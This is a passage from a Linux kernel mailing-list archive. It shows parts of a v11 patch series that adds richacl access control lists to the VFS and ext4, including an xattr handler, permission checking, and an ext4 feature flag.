XATTR_POSIX_ACL_DEFAULT +#define XATTR_RICHACL "richacl" +#define XATTR_NAME_RICHACL XATTR_SYSTEM_PREFIX XATTR_RICHACL #endif /* _UAPI_LINUX_XATTR_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:35 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 80D007FC0 for ; Fri, 16 Oct 2015 10:20:35 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 70F5F304053 for ; Fri, 16 Oct 2015 08:20:35 -0700 (PDT) X-ASG-Debug-ID: 1445008834-04cb6c3ceb39fd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id Vbr31D8MAVcKv5RG (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:34 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id CE59DC0BFD0E; Fri, 16 Oct 2015 15:20:33 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc1011947; Fri, 16 Oct 2015 11:20:27 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 18/48] richacl: Add richacl xattr handler Date: Fri, 16 Oct 2015 17:17:56 +0200 X-ASG-Orig-Subj: [PATCH v11 18/48] richacl: Add richacl xattr handler Message-Id: <1445008706-15115-19-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008834 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Add richacl xattr handler implementing the xattr operations based on the get_richacl and set_richacl inode operations. Signed-off-by: Andreas Gruenbacher --- fs/richacl_xattr.c | 78 +++++++++++++++++++++++++++++++++++++++++++ include/linux/richacl_xattr.h | 2 ++ 2 files changed, 80 insertions(+) diff --git a/fs/richacl_xattr.c b/fs/richacl_xattr.c index cd9979d..dc529dc 100644 --- a/fs/richacl_xattr.c +++ b/fs/richacl_xattr.c @@ -18,7 +18,9 @@ #include #include #include +#include #include +#include MODULE_LICENSE("GPL"); @@ -161,6 +163,82 @@ richacl_to_xattr(struct user_namespace *user_ns, } EXPORT_SYMBOL_GPL(richacl_to_xattr); +static size_t +richacl_xattr_list(struct dentry *dentry, char *list, size_t list_len, + const char *name, size_t name_len, int handler_flags) +{ + const size_t size = sizeof(XATTR_NAME_RICHACL); + + if (!IS_RICHACL(d_backing_inode(dentry))) + return 0; + if (list && size <= list_len) + memcpy(list, XATTR_NAME_RICHACL, size); + return size; +} + +static int +richacl_xattr_get(struct dentry *dentry, const char *name, void *buffer, + size_t buffer_size, int handler_flags) +{ + struct inode *inode = d_backing_inode(dentry); + struct richacl *acl; + int error; + + if (strcmp(name, "") != 0) + return -EINVAL; + if (!IS_RICHACL(inode)) + return EOPNOTSUPP; + if (S_ISLNK(inode->i_mode)) + return -EOPNOTSUPP; + acl = get_richacl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl == NULL) + return -ENODATA; + error = richacl_to_xattr(&init_user_ns, acl, buffer, buffer_size); + richacl_put(acl); + return error; +} + +static int +richacl_xattr_set(struct dentry *dentry, const char *name, + const void *value, size_t size, int flags, int handler_flags) +{ + struct inode *inode = d_backing_inode(dentry); + struct richacl *acl = NULL; + int ret; + + if (strcmp(name, "") != 0) + return -EINVAL; + if (!IS_RICHACL(inode)) + return -EOPNOTSUPP; + if (!inode->i_op->set_richacl) + return -EOPNOTSUPP; + + if (!uid_eq(current_fsuid(), inode->i_uid) && + inode_permission(inode, MAY_CHMOD) && + !capable(CAP_FOWNER)) + return -EPERM; + + if (value) { + acl = richacl_from_xattr(&init_user_ns, value, size); + if (IS_ERR(acl)) + return PTR_ERR(acl); + } + + ret = inode->i_op->set_richacl(inode, acl); + richacl_put(acl); + return ret; +} + +struct xattr_handler richacl_xattr_handler = { + .prefix = XATTR_NAME_RICHACL, + .list = richacl_xattr_list, + .get = richacl_xattr_get, + .set = richacl_xattr_set, +}; +EXPORT_SYMBOL(richacl_xattr_handler); + /* * Fix up the uids and gids in richacl extended attributes in place. */ diff --git a/include/linux/richacl_xattr.h b/include/linux/richacl_xattr.h index a088a1d..ce19b6f 100644 --- a/include/linux/richacl_xattr.h +++ b/include/linux/richacl_xattr.h @@ -39,4 +39,6 @@ static inline void richacl_fix_xattr_to_user(void *value, size_t size) } #endif +extern struct xattr_handler richacl_xattr_handler; + #endif /* __RICHACL_XATTR_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 30B327FBC for ; Fri, 16 Oct 2015 10:20:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 217638F8066 for ; Fri, 16 Oct 2015 08:20:42 -0700 (PDT) X-ASG-Debug-ID: 1445008840-04cb6c3ced3a000001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 2vnrrOjAiYYomL4O (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:41 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 615283CBA21; Fri, 16 Oct 2015 15:20:40 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc2011947; Fri, 16 Oct 2015 11:20:34 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 19/48] vfs: Add richacl permission checking Date: Fri, 16 Oct 2015 17:17:57 +0200 X-ASG-Orig-Subj: [PATCH v11 19/48] vfs: Add richacl permission checking Message-Id: <1445008706-15115-20-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008840 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hook the richacl permission checking function into the vfs. Signed-off-by: Andreas Gruenbacher --- fs/namei.c | 51 +++++++++++++++++++++++++++++++++++++++++++++++++-- fs/posix_acl.c | 6 +++--- 2 files changed, 52 insertions(+), 5 deletions(-) diff --git a/fs/namei.c b/fs/namei.c index 2eab19e..3822b5e 100644 --- a/fs/namei.c +++ b/fs/namei.c @@ -35,6 +35,7 @@ #include #include #include +#include #include #include "internal.h" @@ -255,7 +256,40 @@ void putname(struct filename *name) __putname(name); } -static int check_acl(struct inode *inode, int mask) +static int check_richacl(struct inode *inode, int mask) +{ +#ifdef CONFIG_FS_RICHACL + struct richacl *acl; + + if (mask & MAY_NOT_BLOCK) { + acl = get_cached_richacl_rcu(inode); + if (!acl) + goto no_acl; + /* no ->get_richacl() calls in RCU mode... */ + if (acl == ACL_NOT_CACHED) + return -ECHILD; + return richacl_permission(inode, acl, mask & ~MAY_NOT_BLOCK); + } + + acl = get_richacl(inode); + if (IS_ERR(acl)) + return PTR_ERR(acl); + if (acl) { + int error = richacl_permission(inode, acl, mask); + richacl_put(acl); + return error; + } +no_acl: +#endif + if (mask & (MAY_DELETE_SELF | MAY_TAKE_OWNERSHIP | + MAY_CHMOD | MAY_SET_TIMES)) { + /* File permission bits cannot grant this. */ + return -EACCES; + } + return -EAGAIN; +} + +static int check_posix_acl(struct inode *inode, int mask) { #ifdef CONFIG_FS_POSIX_ACL struct posix_acl *acl; @@ -290,11 +324,24 @@ static int acl_permission_check(struct inode *inode, int mask) { unsigned int mode = inode->i_mode; + /* + * With POSIX ACLs, the (mode & S_IRWXU) bits exactly match the owner + * permissions, and we can skip checking posix acls for the owner. + * With richacls, the owner may be granted fewer permissions than the + * mode bits seem to suggest (for example, append but not write), and + * we always need to check the richacl. + */ + + if (IS_RICHACL(inode)) { + int error = check_richacl(inode, mask); + if (error != -EAGAIN) + return error; + } if (likely(uid_eq(current_fsuid(), inode->i_uid))) mode >>= 6; else { if (IS_POSIXACL(inode) && (mode & S_IRWXG)) { - int error = check_acl(inode, mask); + int error = check_posix_acl(inode, mask); if (error != -EAGAIN) return error; } diff --git a/fs/posix_acl.c b/fs/posix_acl.c index 1d766a5..3459bd5 100644 --- a/fs/posix_acl.c +++ b/fs/posix_acl.c @@ -100,13 +100,13 @@ struct posix_acl *get_acl(struct inode *inode, int type) { struct posix_acl *acl; + if (!IS_POSIXACL(inode)) + return NULL; + acl = get_cached_acl(inode, type); if (acl != ACL_NOT_CACHED) return acl; - if (!IS_POSIXACL(inode)) - return NULL; - /* * A filesystem can force a ACL callback by just never filling the * ACL cache. But normally you'd fill the cache either at inode -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:51 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E01067FBB for ; Fri, 16 Oct 2015 10:20:50 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 6DDB9AC001 for ; Fri, 16 Oct 2015 08:20:50 -0700 (PDT) X-ASG-Debug-ID: 1445008847-04cbb035ab43870001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 1uE4OVVtB3xE74E9 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:48 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 58F5D35C51B; Fri, 16 Oct 2015 15:20:47 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc3011947; Fri, 16 Oct 2015 11:20:41 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: "Aneesh Kumar K.V" Subject: [PATCH v11 20/48] ext4: Add richacl support Date: Fri, 16 Oct 2015 17:17:58 +0200 X-ASG-Orig-Subj: [PATCH v11 20/48] ext4: Add richacl support Message-Id: <1445008706-15115-21-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008847 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: "Aneesh Kumar K.V" Support the richacl permission model in ext4. The richacls are stored in "system.richacl" xattrs. Richacls need to be enabled by tune2fs or at file system create time. Signed-off-by: Aneesh Kumar K.V Signed-off-by: Andreas Gruenbacher --- fs/ext4/Kconfig | 11 +++++ fs/ext4/Makefile | 1 + fs/ext4/file.c | 3 ++ fs/ext4/ialloc.c | 11 ++++- fs/ext4/inode.c | 12 ++++- fs/ext4/namei.c | 5 ++ fs/ext4/richacl.c | 141 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/ext4/richacl.h | 40 ++++++++++++++++ fs/ext4/xattr.c | 7 +++ 9 files changed, 228 insertions(+), 3 deletions(-) create mode 100644 fs/ext4/richacl.c create mode 100644 fs/ext4/richacl.h diff --git a/fs/ext4/Kconfig b/fs/ext4/Kconfig index 47728da..3ec0843 100644 --- a/fs/ext4/Kconfig +++ b/fs/ext4/Kconfig @@ -22,6 +22,17 @@ config EXT3_FS_POSIX_ACL This config option is here only for backward compatibility. ext3 filesystem is now handled by the ext4 driver. +config EXT4_FS_RICHACL + bool "Ext4 Rich Access Control Lists (EXPERIMENTAL)" + depends on EXT4_FS + select FS_RICHACL + help + Richacls are an implementation of NFSv4 ACLs, extended by file masks + to cleanly integrate into the POSIX file permission model. To learn + more about them, see http://www.bestbits.at/richacl/. + + If you don't know what Richacls are, say N. + config EXT3_FS_SECURITY bool "Ext3 Security Labels" depends on EXT3_FS diff --git a/fs/ext4/Makefile b/fs/ext4/Makefile index 75285ea..ea0d539 100644 --- a/fs/ext4/Makefile +++ b/fs/ext4/Makefile @@ -14,3 +14,4 @@ ext4-$(CONFIG_EXT4_FS_POSIX_ACL) += acl.o ext4-$(CONFIG_EXT4_FS_SECURITY) += xattr_security.o ext4-$(CONFIG_EXT4_FS_ENCRYPTION) += crypto_policy.o crypto.o \ crypto_key.o crypto_fname.o +ext4-$(CONFIG_EXT4_FS_RICHACL) += richacl.o diff --git a/fs/ext4/file.c b/fs/ext4/file.c index 113837e..a03b4a5 100644 --- a/fs/ext4/file.c +++ b/fs/ext4/file.c @@ -30,6 +30,7 @@ #include "ext4_jbd2.h" #include "xattr.h" #include "acl.h" +#include "richacl.h" /* * Called when an inode is released. Note that this is different @@ -719,6 +720,8 @@ const struct inode_operations ext4_file_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, .fiemap = ext4_fiemap, }; diff --git a/fs/ext4/ialloc.c b/fs/ext4/ialloc.c index 619bfc1..9657b3a 100644 --- a/fs/ext4/ialloc.c +++ b/fs/ext4/ialloc.c @@ -27,6 +27,7 @@ #include "ext4_jbd2.h" #include "xattr.h" #include "acl.h" +#include "richacl.h" #include @@ -697,6 +698,14 @@ out: return ret; } +static inline int +ext4_new_acl(handle_t *handle, struct inode *inode, struct inode *dir) +{ + if (IS_RICHACL(dir)) + return ext4_init_richacl(handle, inode, dir); + return ext4_init_acl(handle, inode, dir); +} + /* * There are two policies for allocating an inode. If the new inode is * a directory, then a forward search is made for a block group with both @@ -1052,7 +1061,7 @@ got: if (err) goto fail_drop; - err = ext4_init_acl(handle, inode, dir); + err = ext4_new_acl(handle, inode, dir); if (err) goto fail_free_drop; diff --git a/fs/ext4/inode.c b/fs/ext4/inode.c index 612fbcf..647f3c3 100644 --- a/fs/ext4/inode.c +++ b/fs/ext4/inode.c @@ -42,6 +42,7 @@ #include "xattr.h" #include "acl.h" #include "truncate.h" +#include "richacl.h" #include @@ -4638,6 +4639,14 @@ static void ext4_wait_for_tail_page_commit(struct inode *inode) } } +static inline int +ext4_acl_chmod(struct inode *inode, umode_t mode) +{ + if (IS_RICHACL(inode)) + return richacl_chmod(inode, inode->i_mode); + return posix_acl_chmod(inode, inode->i_mode); +} + /* * ext4_setattr() * @@ -4806,8 +4815,7 @@ int ext4_setattr(struct dentry *dentry, struct iattr *attr) ext4_orphan_del(NULL, inode); if (!rc && (ia_valid & ATTR_MODE)) - rc = posix_acl_chmod(inode, inode->i_mode); - + rc = ext4_acl_chmod(inode, inode->i_mode); err_out: ext4_std_error(inode->i_sb, error); if (!error) diff --git a/fs/ext4/namei.c b/fs/ext4/namei.c index 9f61e76..9b6e8b9 100644 --- a/fs/ext4/namei.c +++ b/fs/ext4/namei.c @@ -38,6 +38,7 @@ #include "xattr.h" #include "acl.h" +#include "richacl.h" #include /* @@ -3854,6 +3855,8 @@ const struct inode_operations ext4_dir_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, .fiemap = ext4_fiemap, }; @@ -3865,4 +3868,6 @@ const struct inode_operations ext4_special_inode_operations = { .removexattr = generic_removexattr, .get_acl = ext4_get_acl, .set_acl = ext4_set_acl, + .get_richacl = ext4_get_richacl, + .set_richacl = ext4_set_richacl, }; diff --git a/fs/ext4/richacl.c b/fs/ext4/richacl.c new file mode 100644 index 0000000..906d048 --- /dev/null +++ b/fs/ext4/richacl.c @@ -0,0 +1,141 @@ +/* + * Copyright IBM Corporation, 2010 + * Copyright (C) 2015 Red Hat, Inc. + * Author: Aneesh Kumar K.V , + * Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#include +#include +#include + +#include "ext4.h" +#include "ext4_jbd2.h" +#include "xattr.h" +#include "acl.h" +#include "richacl.h" + +struct richacl * +ext4_get_richacl(struct inode *inode) +{ + const int name_index = EXT4_XATTR_INDEX_RICHACL; + void *value = NULL; + struct richacl *acl = NULL; + int retval; + + retval = ext4_xattr_get(inode, name_index, "", NULL, 0); + if (retval > 0) { + value = kmalloc(retval, GFP_NOFS); + if (!value) + return ERR_PTR(-ENOMEM); + retval = ext4_xattr_get(inode, name_index, "", value, retval); + } + if (retval > 0) { + acl = richacl_from_xattr(&init_user_ns, value, retval); + if (acl == ERR_PTR(-EINVAL)) + acl = ERR_PTR(-EIO); + } else if (retval != -ENODATA && retval != -ENOSYS) + acl = ERR_PTR(retval); + kfree(value); + + if (!IS_ERR(acl)) + set_cached_richacl(inode, acl); + + return acl; +} + +static int +__ext4_remove_richacl(handle_t *handle, struct inode *inode) +{ + const int name_index = EXT4_XATTR_INDEX_RICHACL; + int retval; + + retval = ext4_xattr_set_handle(handle, inode, name_index, "", + NULL, 0, 0); + if (!retval) + set_cached_richacl(inode, NULL); + return retval; +} + +static int +__ext4_set_richacl(handle_t *handle, struct inode *inode, struct richacl *acl) +{ + const int name_index = EXT4_XATTR_INDEX_RICHACL; + umode_t mode = inode->i_mode; + int retval, size; + void *value; + + if (richacl_equiv_mode(acl, &mode) == 0) { + inode->i_ctime = ext4_current_time(inode); + inode->i_mode = mode; + ext4_mark_inode_dirty(handle, inode); + return __ext4_remove_richacl(handle, inode); + } + + mode &= ~S_IRWXUGO; + mode |= richacl_masks_to_mode(acl); + + size = richacl_xattr_size(acl); + value = kmalloc(size, GFP_NOFS); + if (!value) + return -ENOMEM; + richacl_to_xattr(&init_user_ns, acl, value, size); + inode->i_mode = mode; + retval = ext4_xattr_set_handle(handle, inode, name_index, "", + value, size, 0); + kfree(value); + if (retval) + return retval; + + set_cached_richacl(inode, acl); + + return 0; +} + +int +ext4_set_richacl(struct inode *inode, struct richacl *acl) +{ + handle_t *handle; + int retval, retries = 0; + +retry: + handle = ext4_journal_start(inode, EXT4_HT_XATTR, + ext4_jbd2_credits_xattr(inode)); + if (IS_ERR(handle)) + return PTR_ERR(handle); + + if (acl) + retval = __ext4_set_richacl(handle, inode, acl); + else + retval = __ext4_remove_richacl(handle, inode); + + ext4_journal_stop(handle); + if (retval == -ENOSPC && ext4_should_retry_alloc(inode->i_sb, &retries)) + goto retry; + return retval; +} + +int +ext4_init_richacl(handle_t *handle, struct inode *inode, struct inode *dir) +{ + struct richacl *acl = richacl_create(&inode->i_mode, dir); + int error; + + error = PTR_ERR(acl); + if (IS_ERR(acl)) + return error; + if (acl) { + error = __ext4_set_richacl(handle, inode, acl); + richacl_put(acl); + } + return error; +} diff --git a/fs/ext4/richacl.h b/fs/ext4/richacl.h new file mode 100644 index 0000000..6fe9a92 --- /dev/null +++ b/fs/ext4/richacl.h @@ -0,0 +1,40 @@ +/* + * Copyright IBM Corporation, 2010 + * Copyright (C) 2015 Red Hat, Inc. + * Author Aneesh Kumar K.V + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of version 2.1 of the GNU Lesser General Public License + * as published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. + * + */ + +#ifndef __FS_EXT4_RICHACL_H +#define __FS_EXT4_RICHACL_H + +#include + +#ifdef CONFIG_EXT4_FS_RICHACL + +extern struct richacl *ext4_get_richacl(struct inode *); +extern int ext4_set_richacl(struct inode *, struct richacl *); + +extern int ext4_init_richacl(handle_t *, struct inode *, struct inode *); + +#else /* CONFIG_EXT4_FS_RICHACL */ + +#define ext4_get_richacl NULL +#define ext4_set_richacl NULL + +static inline int +ext4_init_richacl(handle_t *handle, struct inode *inode, struct inode *dir) +{ + return 0; +} + +#endif /* CONFIG_EXT4_FS_RICHACL */ +#endif /* __FS_EXT4_RICHACL_H */ diff --git a/fs/ext4/xattr.c b/fs/ext4/xattr.c index 16e28c0..4d79adb 100644 --- a/fs/ext4/xattr.c +++ b/fs/ext4/xattr.c @@ -55,6 +55,7 @@ #include #include #include +#include #include "ext4_jbd2.h" #include "ext4.h" #include "xattr.h" @@ -99,6 +100,9 @@ static const struct xattr_handler *ext4_xattr_handler_map[] = { #ifdef CONFIG_EXT4_FS_SECURITY [EXT4_XATTR_INDEX_SECURITY] = &ext4_xattr_security_handler, #endif +#ifdef CONFIG_EXT4_FS_RICHACL + [EXT4_XATTR_INDEX_RICHACL] = &richacl_xattr_handler, +#endif }; const struct xattr_handler *ext4_xattr_handlers[] = { @@ -111,6 +115,9 @@ const struct xattr_handler *ext4_xattr_handlers[] = { #ifdef CONFIG_EXT4_FS_SECURITY &ext4_xattr_security_handler, #endif +#ifdef CONFIG_EXT4_FS_RICHACL + &richacl_xattr_handler, +#endif NULL }; -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:20:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 591C07FCB for ; Fri, 16 Oct 2015 10:20:56 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3A1308F8066 for ; Fri, 16 Oct 2015 08:20:56 -0700 (PDT) X-ASG-Debug-ID: 1445008854-04cbb035a943880001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id HttiTsgmnIikHbmY (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:20:55 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 512C1C0AED2C; Fri, 16 Oct 2015 15:20:54 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc4011947; Fri, 16 Oct 2015 11:20:47 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: "Aneesh Kumar K.V" Subject: [PATCH v11 21/48] ext4: Add richacl feature flag Date: Fri, 16 Oct 2015 17:17:59 +0200 X-ASG-Orig-Subj: [PATCH v11 21/48] ext4: Add richacl feature flag Message-Id: <1445008706-15115-22-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008855 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: "Aneesh Kumar K.V" This feature flag selects richacl instead of posix acl support on the file system. In addition, the "acl" mount option is needed for enabling either of the two kinds of acls. Signed-off-by: Aneesh Kumar K.V Signed-off-by: Andreas Gruenbacher --- fs/ext4/ext4.h | 6 ++++-- fs/ext4/super.c | 42 +++++++++++++++++++++++++++++++++--------- 2 files changed, 37 insertions(+), 11 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index fd1f28b..b97a3b1 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -991,7 +991,7 @@ struct ext4_inode_info { #define EXT4_MOUNT_UPDATE_JOURNAL 0x01000 /* Update the journal format */ #define EXT4_MOUNT_NO_UID32 0x02000 /* Disable 32-bit UIDs */ #define EXT4_MOUNT_XATTR_USER 0x04000 /* Extended user attributes */ -#define EXT4_MOUNT_POSIX_ACL 0x08000 /* POSIX Access Control Lists */ +#define EXT4_MOUNT_ACL 0x08000 /* Access Control Lists */ #define EXT4_MOUNT_NO_AUTO_DA_ALLOC 0x10000 /* No auto delalloc mapping */ #define EXT4_MOUNT_BARRIER 0x20000 /* Use block barriers */ #define EXT4_MOUNT_QUOTA 0x80000 /* Some quota option set */ @@ -1582,6 +1582,7 @@ static inline int ext4_encrypted_inode(struct inode *inode) #define EXT4_FEATURE_INCOMPAT_LARGEDIR 0x4000 /* >2GB or 3-lvl htree */ #define EXT4_FEATURE_INCOMPAT_INLINE_DATA 0x8000 /* data in inode */ #define EXT4_FEATURE_INCOMPAT_ENCRYPT 0x10000 +#define EXT4_FEATURE_INCOMPAT_RICHACL 0x20000 #define EXT2_FEATURE_COMPAT_SUPP EXT4_FEATURE_COMPAT_EXT_ATTR #define EXT2_FEATURE_INCOMPAT_SUPP (EXT4_FEATURE_INCOMPAT_FILETYPE| \ @@ 